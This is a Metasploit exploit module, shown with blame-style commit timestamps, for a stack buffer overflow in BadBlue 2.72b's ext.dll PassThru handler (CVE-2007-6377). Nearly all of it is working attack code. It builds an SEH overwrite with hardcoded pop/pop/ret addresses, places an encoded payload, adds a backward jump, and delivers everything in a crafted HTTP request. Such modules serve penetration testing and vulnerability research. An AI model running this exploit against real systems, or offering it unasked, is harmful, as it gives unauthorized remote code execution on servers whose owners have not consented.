2008-02-11 15:18:22 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-02-11 15:18:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-02-11 15:18:22 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-02-11 15:18:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2008-02-11 15:18:22 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
|
|
|
|
# However, a proper Server header is returned when requesting /index.html or using HEAD.
|
|
|
|
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-07-07 06:54:20 +00:00
|
|
|
include Msf::Exploit::Seh
|
2008-02-11 15:18:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-02-11 15:18:22 +00:00
|
|
|
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the PassThru
|
2010-04-30 08:40:19 +00:00
|
|
|
functionality in ext.dll in BadBlue 2.72b and earlier.
|
2008-02-11 15:18:22 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2008-10-02 05:23:59 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-02-11 15:18:22 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-6377'],
|
2009-05-13 17:39:42 +00:00
|
|
|
['OSVDB', '42416'],
|
|
|
|
['BID', '26803'],
|
2008-02-11 15:18:22 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 750,
|
2010-07-07 06:54:20 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
|
2008-02-11 15:18:22 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2010-07-07 06:54:20 +00:00
|
|
|
#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
2008-02-11 15:18:22 +00:00
|
|
|
'DisableNops' => 'True',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2008-02-11 15:18:22 +00:00
|
|
|
[
|
2010-07-07 06:54:20 +00:00
|
|
|
# This is the version being distributed on badblue.com as of Jul 7th 2010
|
|
|
|
[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
|
|
|
|
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ] # pop/pop/ret from ??
|
2008-02-11 15:18:22 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 10 2007'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-07-07 06:54:20 +00:00
|
|
|
seh_offset = 4116
|
2011-10-24 19:43:54 +00:00
|
|
|
#sploit = Rex::Text.pattern_create(seh_offset)
|
|
|
|
sploit = rand_text(seh_offset)
|
2010-07-07 06:54:20 +00:00
|
|
|
# Need to jump over the nul byte
|
|
|
|
seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
|
|
|
|
sploit << seh
|
|
|
|
|
|
|
|
plen = payload.encoded.length
|
|
|
|
sploit[seh_offset - 16 - plen, plen] = payload.encoded
|
|
|
|
|
|
|
|
# This pointer will force a crash when it is used in a lock instruction
|
|
|
|
ptr = rand_text(3)
|
|
|
|
ptr << [0x80|rand(256)].pack('C')
|
|
|
|
sploit[seh_offset - 8,4] = ptr
|
|
|
|
|
|
|
|
# These two bytes get corrupted, so we can't use them.
|
|
|
|
sploit << rand_text(2)
|
2008-02-11 15:18:22 +00:00
|
|
|
|
2010-07-07 06:54:20 +00:00
|
|
|
# jump back to the payload
|
|
|
|
distance = 2 + 8 + 16 + plen
|
|
|
|
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
|
|
|
|
|
|
|
|
|
|
|
|
# Build the final URI
|
|
|
|
uri = "/ext.dll?mfcisapicommand=PassThru&"
|
|
|
|
uri << sploit
|
|
|
|
|
|
|
|
print_status("Trying target %s..." % target.name)
|
|
|
|
send_request_raw({ 'uri' => uri }, 5)
|
2008-02-11 15:18:22 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|